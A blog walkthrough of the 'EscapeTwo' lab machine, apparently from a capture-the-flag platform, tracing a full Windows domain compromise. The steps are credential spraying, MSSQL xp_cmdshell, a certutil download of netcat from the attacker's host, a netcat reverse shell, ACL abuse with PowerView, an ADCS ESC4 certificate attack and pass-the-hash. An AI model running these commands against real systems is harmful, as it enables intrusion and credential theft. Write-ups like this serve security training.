Command Palette

Search for a command to run...

Blog
Next

EscapeTwo - Walkthrough

EscapeTwo is an easy-difficulty Windows machine designed around a complete domain compromise scenario, where credentials for a low-privileged user are provided. We leverage these credentials to access a file share containing a corrupted Excel document, and by modifying its byte structure extract credentials that are sprayed across the domain to reveal valid MSSQL access. SQL credentials are sprayed again to obtain WinRM access, and domain analysis reveals WriteOwner rights over an account managing ADCS, leading to an ADCS misconfiguration that yields the Administrator hash and complete domain compromise.

We start with low-privileged domain credentials handed to us up front — rose:KxEPkKe6R8su — a common setup for simulating an assumed-breach or insider-threat scenario rather than a pure external attack chain.

Reconnaissance

Nmap

We start by identifying what's actually listening on the host, so we know which services are worth attacking first:

sudo nmap -sC -sV -Pn 10.129.232.128 -oN escape-two.nmap
PORTSTATESERVICEVERSION
53/tcpopendomainSimple DNS Plus
88/tcpopenkerberos-secMicrosoft Windows Kerberos
135/tcpopenmsrpcMicrosoft Windows RPC
139/tcpopennetbios-ssnMicrosoft Windows netbios-ssn
389/tcpopenldapMicrosoft Windows Active Directory LDAP (Domain: sequel.htb)
445/tcpopenmicrosoft-ds
464/tcpopenkpasswd5
593/tcpopenncacn_httpMicrosoft Windows RPC over HTTP 1.0
636/tcpopenssl/ldapMicrosoft Windows Active Directory LDAP (Domain: sequel.htb)
1433/tcpopenms-sql-sMicrosoft SQL Server 2019 15.00.2000.00; RTM
3268/tcpopenldapMicrosoft Windows Active Directory LDAP (Global Catalog)
3269/tcpopenssl/ldapMicrosoft Windows Active Directory LDAP (Global Catalog SSL)
5985/tcpopenhttpMicrosoft HTTPAPI httpd 2.0 (WinRM)

Kerberos (the ticket-based authentication protocol Windows domains use to log accounts in) and LDAP (Lightweight Directory Access Protocol — the query protocol clients use to read/write objects in Active Directory) showing up together confirm a Domain Controller: DC01.sequel.htb, for the domain sequel.htb. Port 5985 is WinRM (Windows Remote Management — the protocol behind PowerShell Remoting and tools like Evil-WinRM), worth remembering once we have valid credentials. The one port that stands out from a typical DC is 1433 — a live MSSQL instance, which ms-sql-ntlm-info confirms belongs to the same host (DC01 / SEQUEL). We register the domain in /etc/hosts and keep MSSQL in mind as a likely second entry point once we have more credentials:

echo "10.129.232.128 sequel.htb dc01.sequel.htb" | sudo tee -a /etc/hosts

SMB Enumeration

With rose's credentials we enumerate share access over SMB (Server Message Block — the protocol Windows uses for file/printer sharing, and the transport behind most of the remote administration used later in this box):

nxc smb 10.129.232.128 -u rose -p 'KxEPkKe6R8su' --shares
SMB   10.129.232.128   445   DC01   [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   10.129.232.128   445   DC01   [+] sequel.htb\rose:KxEPkKe6R8su
SMB   10.129.232.128   445   DC01   [*] Enumerated shares
SMB   10.129.232.128   445   DC01   Share                   Permissions   Remark
SMB   10.129.232.128   445   DC01   -----                   -----------   ------
SMB   10.129.232.128   445   DC01   Accounting Department    READ
SMB   10.129.232.128   445   DC01   ADMIN$                                 Remote Admin
SMB   10.129.232.128   445   DC01   C$                                     Default share
SMB   10.129.232.128   445   DC01   IPC$                     READ          Remote IPC
SMB   10.129.232.128   445   DC01   NETLOGON                 READ          Logon server share
SMB   10.129.232.128   445   DC01   SYSVOL                   READ          Logon server share
SMB   10.129.232.128   445   DC01   Users                    READ

rose has read access to a non-default share, Accounting Department (line 6) — everything else is the usual DC boilerplate. We connect with Impacket's smbclient to look inside:

impacket-smbclient sequel.htb/rose:'KxEPkKe6R8su'@10.129.232.128
# use Accounting Department
# ls
drw-rw-rw-          0  Sun Jun  9 13:11:31 2024 .
drw-rw-rw-          0  Sun Jun  9 13:11:31 2024 ..
-rw-rw-rw-      10217  Sun Jun  9 13:11:31 2024 accounting_2024.xlsx
-rw-rw-rw-       6780  Sun Jun  9 13:11:31 2024 accounts.xlsx
# mget acco*

Two spreadsheets. We pull both down for a closer look.

Corrupted Excel File — Magic Byte Repair

Before opening either file, we check what they actually are — a mismatch between a file's extension and its real content is exactly what file is built to catch:

file account*
accounting_2024.xlsx: Zip archive data, made by v4.5, extract using at least v2.0, last modified Jan 01 1980 00:00:00, uncompressed size 1284, method=deflate
accounts.xlsx:        Zip archive data, made by v2.0, extract using at least v2.0, last modified Jun 09 2024 10:47:44, uncompressed size 681, method=deflate

accounting_2024.xlsx opens fine in LibreOffice and turns out to be unremarkable business data. accounts.xlsx is more interesting — file reports it as a plain Zip archive, not as the Microsoft Excel 2007+ label a healthy .xlsx normally gets, and it refuses to extract:

7z x accounts.xlsx
Path = accounts.xlsx
Warning: The archive is open with offset
Type = zip
Physical Size = 6780
ERROR: Headers Error : xl/_rels/workbook.xml.rels
Sub items Errors: 1
Archives with Errors: 1

An .xlsx file is just a Zip container of XML parts, so xl/_rels/workbook.xml.rels failing to parse points at the container itself, not the spreadsheet content. xxd on the first bytes confirms it:

xxd accounts.xlsx | head -1
00000000: 5048 0403 1400 0808 0800 f655 c958 0000  PH.........U.X..

The real magic bytes for a Zip/.xlsx file are 50 4B 03 04 (PK..) — here we have 50 48 04 03 (PH..): two swapped/corrupted bytes right at the start of the local file header. We open the file in a hex editor, fix those four bytes to 50 4B 03 04, and save:

hexeditor accounts.xlsx
file accounts.xlsx
accounts.xlsx: Microsoft Excel 2007+

The file now opens cleanly, and inside is a sheet of credentials — one column of candidate usernames, one of candidate passwords:

cat pass.txt
0fwz7Q4mSpurIt99
86LxLBMgEWaKUnBG
Md9Wlq1E5bZnVDVo
MSSQLP@ssw0rd!
cat users.txt
angela
oscar
kevin
sa

Foothold

Password Spraying — SMB

We spray every password against every username harvested from the spreadsheet:

nxc smb 10.129.232.128 -u users.txt -p pass.txt
SMB   10.129.232.128   445   DC01   [-] sequel.htb\angela:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE
SMB   10.129.232.128   445   DC01   [-] sequel.htb\oscar:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE
SMB   10.129.232.128   445   DC01   [-] sequel.htb\kevin:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE
SMB   10.129.232.128   445   DC01   [-] sequel.htb\sa:0fwz7Q4mSpurIt99 STATUS_LOGON_FAILURE
SMB   10.129.232.128   445   DC01   [-] sequel.htb\angela:86LxLBMgEWaKUnBG STATUS_LOGON_FAILURE
SMB   10.129.232.128   445   DC01   [+] sequel.htb\oscar:86LxLBMgEWaKUnBG

oscar:86LxLBMgEWaKUnBG is valid, but grants nothing over SMB beyond what rose already had. The sa / MSSQLP@ssw0rd! pair from the same sheet is far more interesting given the MSSQL instance we flagged during recon.

MSSQL — sa Login & xp_cmdshell

nxc mssql 10.129.232.128 -u sa -p 'MSSQLP@ssw0rd!' --local-auth
MSSQL   10.129.232.128   1433   DC01   [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)

sa is the built-in SQL Server system administrator account, and netexec already flags it as Pwn3d! — SQL admin on a domain-joined instance almost always translates to code execution. We connect with impacket-mssqlclient and run enable_xp_cmdshell, a convenience shortcut built into the client that issues the sp_configure/RECONFIGURE calls needed to turn on xp_cmdshell — the extended stored procedure that actually shells out to the underlying OS:

impacket-mssqlclient sequel.htb/'sa:MSSQLP@ssw0rd!'@10.129.232.128
SQL (sa  dbo@master)> enable_xp_cmdshell
SQL (sa  dbo@master)> xp_cmdshell whoami
output
--------------
sequel\sql_svc
NULL

Commands run as sequel\sql_svc, the MSSQL service account.

Reverse Shell

On this fresh connection, the enable_xp_cmdshell shortcut doesn't actually leave xp_cmdshell callable — the first attempt to shell out via certutil is rejected as still disabled. Re-issuing the two sp_configure calls by hand, each followed by its own RECONFIGURE, is what finally gets the option to stick:

SQL (sa  dbo@master)> EXEC xp_cmdshell 'certutil -urlcache -split -f http://10.10.14.246:4000/nc64.exe C:\Users\sql_svc\Desktop\nc64.exe';
ERROR(DC01\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server.
SQL (sa  dbo@master)> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL (sa  dbo@master)> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL (sa  dbo@master)> EXEC xp_cmdshell 'certutil -urlcache -split -f http://10.10.14.246:4000/nc64.exe C:\Users\sql_svc\Desktop\nc64.exe';
output
---------------------------------------------------
****  Online  ****
CertUtil: -URLCache command completed successfully.

With nc64.exe staged, we start a listener with penelope, a multi-session reverse shell handler that upgrades the incoming shell automatically:

python3 penelope.py -p 4455
[+] Listening for reverse shells on 0.0.0.0:4455 -> 127.0.0.1 • 192.168.122.194 • 10.10.14.246

Then we run nc64.exe with -e cmd.exe to call back to it:

SQL (sa  dbo@master)> EXEC xp_cmdshell 'C:\Users\sql_svc\Desktop\nc64.exe -e cmd.exe 10.10.14.246 4455';
[+] [New Reverse Shell] => DC01 10.129.232.128 Microsoft_Windows_Server_2019_Standard-x64-based_PC 👤 sequel\sql_svc 😍️ Session ID <1>
C:\Windows\system32> whoami
sequel\sql_svc

A shell as sql_svc.

Post-Exploitation

SQL Server Install Files — More Credentials

C:\ has a leftover SQL2019 installer directory. Its unattended-install answer file is worth checking:

C:\SQL2019\ExpressAdv_ENU> type sql-Configuration.INI
sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL="0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SAPWD="MSSQLP@ssw0rd!"

Line 18 shows the domain account, SEQUEL\sql_svc, and line 19 hands us its password in plaintext, WqSZAF6CysDQbGb3 — a real credential for the account we're already running as, and one more thing to spray with.

Domain User Enumeration & Password Spraying

A single reused password is only useful if we know every account to try it against, so we list the domain's users from the shell we already have:

C:\SQL2019\ExpressAdv_ENU> net user
User accounts for \\DC01
-------------------------------------------------------------------------------
Administrator            ca_svc                   Guest
krbtgt                    michael                  oscar
rose                      ryan                     sql_svc

We add these to users.txt, which so far only held the names recovered from the spreadsheet (angela, oscar, kevin, sa), giving us the full account list to spray:

cat users.txt
angela
oscar
kevin
sa
Administrator
ca_svc
Guest
krbtgt
michael
rose
ryan
sql_svc

Spraying sql_svc's password against the full user list:

nxc smb sequel.htb -u users.txt -p 'WqSZAF6CysDQbGb3'
SMB   10.129.232.128   445   DC01   [-] sequel.htb\angela:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB   10.129.232.128   445   DC01   [-] sequel.htb\oscar:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB   10.129.232.128   445   DC01   [-] sequel.htb\kevin:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB   10.129.232.128   445   DC01   [-] sequel.htb\sa:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB   10.129.232.128   445   DC01   [-] sequel.htb\Administrator:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB   10.129.232.128   445   DC01   [-] sequel.htb\ca_svc:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB   10.129.232.128   445   DC01   [-] sequel.htb\Guest:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB   10.129.232.128   445   DC01   [-] sequel.htb\krbtgt:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB   10.129.232.128   445   DC01   [-] sequel.htb\michael:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB   10.129.232.128   445   DC01   [-] sequel.htb\oscar:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB   10.129.232.128   445   DC01   [-] sequel.htb\rose:WqSZAF6CysDQbGb3 STATUS_LOGON_FAILURE
SMB   10.129.232.128   445   DC01   [+] sequel.htb\ryan:WqSZAF6CysDQbGb3

ryan reused the service account's password. WinRM confirms it's usable for a full remote session:

nxc winrm sequel.htb -u users.txt -p 'WqSZAF6CysDQbGb3'
WINRM   10.129.232.128   5985   DC01   [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)

WinRM Access — User Flag

With a confirmed working credential pair, we connect for an interactive shell instead of just a protocol check:

evil-winrm -i 10.129.232.128 -u ryan -p 'WqSZAF6CysDQbGb3'
*Evil-WinRM* PS C:\Users\ryan\Desktop> type user.txt

User flag: dfb7d93410b0313ced851d3e607f808b

BloodHound — WriteOwner over ca_svc

With a proper domain session, we collect the domain's AD structure and ACLs for BloodHound to graph — see Appendix — Setting Up BloodHound Locally for how the collector itself gets installed and its default password recovered:

bloodhound-python -u ryan -p 'WqSZAF6CysDQbGb3' -d sequel.htb -ns 10.129.232.128 -c all --zip

This produces a timestamped zip we drag straight into the BloodHound UI. Looking at ryan's outbound edges, BloodHound shows it holding WriteOwner over the ca_svc account — the ability to change who owns that AD object, and from there, to grant ourselves further rights over it. ca_svc immediately stands out as a target: an account with svc in the name managing Certificate Services is worth a closer look at ADCS (Active Directory Certificate Services — the AD role that acts as an internal PKI, issuing certificates domain members can use to authenticate) once we control it.

Privilege Escalation

Abusing WriteOwner — PowerView

Every AD object carries a DACL (Discretionary Access Control List — the list of permissions attached to it), made up of individual ACEs (Access Control Entries — one rule each, like "ryan: allow ResetPassword"). WriteOwner alone doesn't let ryan reset ca_svc's password directly — it only lets him change the object's owner. But in Active Directory, the owner of an object can always modify its DACL, regardless of what ACEs currently exist on it. So the abuse chain is: take ownership as ryan, then — now that ryan is the owner — grant ryan an explicit ResetPassword ACE, and finally use that new right to set a password we know.

PowerView isn't something we write ourselves — Kali ships a copy bundled with PowerShell Empire, which locate finds for us:

locate powerview.ps1
/usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/powerview.ps1

We upload that script and drive the abuse chain through it:

*Evil-WinRM* PS C:\Users\ryan\Desktop> upload /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/powerview.ps1
*Evil-WinRM* PS C:\Users\ryan\Desktop> Import-Module .\powerview.ps1
*Evil-WinRM* PS C:\Users\ryan\Desktop> Set-DomainObjectOwner -Identity "ca_svc" -OwnerIdentity "ryan"
*Evil-WinRM* PS C:\Users\ryan\Desktop> Add-DomainObjectAcl -TargetIdentity "ca_svc" -Rights ResetPassword -PrincipalIdentity "ryan"
*Evil-WinRM* PS C:\Users\ryan\Desktop> $cred = ConvertTo-SecureString "Password123!!" -AsPlainText -Force
*Evil-WinRM* PS C:\Users\ryan\Desktop> Set-DomainUserPassword -Identity "ca_svc" -AccountPassword $cred
nxc smb sequel.htb -u ca_svc -p 'Password123!!'
SMB   10.129.232.128   445   DC01   [+] sequel.htb\ca_svc:Password123!!

We now control ca_svc outright.

ADCS Enumeration — ESC4 on DunderMifflinAuthentication

ca_svc is a member of Cert Publishers, the group allowed to publish certificates to the directory — a strong hint that Active Directory Certificate Services is in scope. certipy-ad find enumerates the CA (Certificate Authority — the server role that actually signs and issues certificates) and its templates (the reusable "forms" a CA uses to decide what a given certificate request is allowed to contain):

certipy-ad find -u '[email protected]' -p 'Password123!!' -dc-ip 10.129.232.128 -stdout

This dumps the CA plus all 34 certificate templates in the domain; only the CA and the one template that matters are shown below:

Certificate Authorities
  0
    CA Name                             : sequel-DC01-CA
    DNS Name                            : DC01.sequel.htb
    Permissions
      Owner                             : SEQUEL.HTB\Administrators
      Access Rights
        ManageCa                        : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        ManageCertificates              : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        Enroll                          : SEQUEL.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : DunderMifflinAuthentication
    Display Name                        : Dunder Mifflin Authentication
    Certificate Authorities             : sequel-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Certificate Name Flag               : SubjectAltRequireDns
                                          SubjectRequireCommonName
    Enrollment Flag                     : PublishToDs
                                          AutoEnrollment
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Permissions
      Object Control Permissions
        Owner                           : SEQUEL.HTB\Enterprise Admins
        Full Control Principals         : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Cert Publishers
        Write Owner Principals          : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Cert Publishers
        Write Dacl Principals           : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Cert Publishers
    [!] Vulnerabilities
      ESC4                              : User has dangerous permissions.

Cert Publishers — the group ca_svc belongs to — holds Full Control over the template (line 34), which on its own is already enough: Full Control implies Write Owner and Write Dacl, since whoever fully controls an object can freely reassign its owner or rewrite its DACL anyway. That's why the same group also shows up under those two categories (lines 37 and 40) — not as separate grants, just Certipy listing the consequences of the one underlying permission. Holding this over a certificate template is ESC4: whoever controls a template's ACL (Access Control List — the set of permissions attached to the object) can rewrite the template's own settings into something exploitable, then request a certificate from it.

Exploiting ESC4 — Rewriting the Template

We back up the current template configuration first, then use certipy-ad template's -write-default-configuration flag, which overwrites the template with Certipy's known-vulnerable baseline: enrollee-supplies-subject enabled, Client Authentication EKU (Extended Key Usage — the certificate field that limits what the certificate can actually be used for, e.g. logging in vs. just encrypting email) present, and no manager approval required — the exact shape ESC1 needs, applied to a template we now fully control:

certipy-ad template -u [email protected] -p 'Password123!!' -template DunderMifflinAuthentication -save-configuration DunderMifflin-original -dc-ip 10.129.232.128
certipy-ad template -u [email protected] -p 'Password123!!' -template DunderMifflinAuthentication -write-default-configuration -dc-ip 10.129.232.128
[*] Successfully updated 'DunderMifflinAuthentication'

With the template now enrollee-controlled, we request a certificate directly for the administrator UPN (User Principal Name — the user@domain identity, e.g. [email protected], that the certificate will vouch for):

certipy-ad req -username [email protected] -p 'Password123!!' -ca sequel-DC01-CA -template DunderMifflinAuthentication -dc-ip 10.129.232.128 -target 10.129.232.128 -upn [email protected]
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Wrote certificate and private key to 'administrator.pfx'

The last step is exchanging that certificate for something usable: certipy-ad auth authenticates to Kerberos via PKINIT (the Kerberos extension that accepts a certificate in place of a password to prove identity), which hands back a TGT (Ticket Granting Ticket — the credential Kerberos issues after a successful login, used to request access to other services without re-entering a password) for administrator. From that TGT, Certipy also recovers the account's NT hash (the hashed form of the password Windows actually stores and authenticates with — usable on its own for Pass-the-Hash, without ever knowing the plaintext):

certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.232.128
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff

Line 5 is the payoff: the Administrator NT hash, 7a8d4e04986afa8ed4060f75e5a0b3ff — full domain compromise from here on is just a matter of using it.

Root Flag

With the Administrator NT hash in hand, we have two equally valid ways in: Evil-WinRM for an interactive Administrator session, since WinRM was already confirmed open and working earlier for ryan, or impacket-psexec for a NT AUTHORITY\SYSTEM shell instead:

evil-winrm -i 10.129.232.128 -u Administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff

We use psexec here:

impacket-psexec [email protected] -hashes :7a8d4e04986afa8ed4060f75e5a0b3ff
[*] Found writable share ADMIN$
[*] Uploading file doHRrZLQ.exe
[*] Opening SVCManager on 10.129.232.128.....
[*] Starting service VKVb.....
C:\Windows\system32> whoami
nt authority\system
C:\Users\Administrator\Desktop> type root.txt

Root flag: fa6ad9cb0ead5f16849a373f8d295e26

Appendix — Setting Up BloodHound Locally

The commands in BloodHound — WriteOwner over ca_svc assume a running BloodHound instance to ingest into. Kali ships an older, all-in-one package (BloodHound Legacy, Neo4j + PostgreSQL bundled) that's enough to follow along, but BloodHound CE (the actively developed Community Edition, run via Docker) is the current recommended path. Both are shown here.

Option A — BloodHound Legacy (apt package)

sudo apt update && sudo apt install -y bloodhound

This pulls in neo4j, sharphound, and the legacy bloodhound package itself. First run needs bloodhound-setup to provision the PostgreSQL and Neo4j backends:

sudo bloodhound-setup
[i] You need to change the default password for neo4j
    Default credentials:
        user: neo4j
        password: neo4j
[!] IMPORTANT: Once you have setup the new password, please update /etc/bhapi/bhapi.json with the new password before running bloodhound
opening http://localhost:7474/

Lines 2-4 are the important part: Neo4j itself (the graph database BloodHound sits on top of) starts with the well-known default credentials neo4j:neo4j, which the setup script expects you to rotate before continuing. From then on, bloodhound-start brings the same stack up on subsequent boots.

Option B — BloodHound CE (bloodhound-cli + Docker)

bloodhound-cli is SpecterOps' installer for the newer, Docker-based Community Edition:

wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
./bloodhound-cli install
[+] Checking the status of Docker and the Compose plugin...
docker is installed on this system, but the daemon is not running or access was denied.

The Docker daemon needs root to talk to, so a plain user-level invocation fails the pre-flight check. Re-running with sudo gets past it and drives the full install — pulling the neo4j, postgres, and bloodhound images, then bringing the stack up with Compose:

sudo ./bloodhound-cli install
[+] Checking the status of Docker and the Compose plugin...
[+] Docker and the Compose plugin checks have passed
[+] Starting BloodHound environment installation
...
[+] BloodHound is ready to go!
[+] You can log in as `admin` with this password: nzhfpSxd4AO1DvGBsBtdzIjseeGVOOPj
[+] You can get your admin password by running: bloodhound-cli config get default_password
[+] You can access the BloodHound UI at: http://127.0.0.1:8080/ui/login

Line 6 hands us the auto-generated admin password straight in the install output. If it scrolls past, bloodhound-cli can print it again on demand — no need to reinstall or dig through Docker logs:

bloodhound-cli config get default_password

With the UI reachable at http://127.0.0.1:8080/ui/login, we log in as admin and ingest the zip produced by bloodhound-python earlier.

Stopping and Restarting

Neither option needs a full reinstall after a reboot — just bringing the same stack back up.

For Option B (CE), bloodhound-cli's up/down are shortcuts for containers up/containers down — no need to re-run install:

bloodhound-cli down
bloodhound-cli up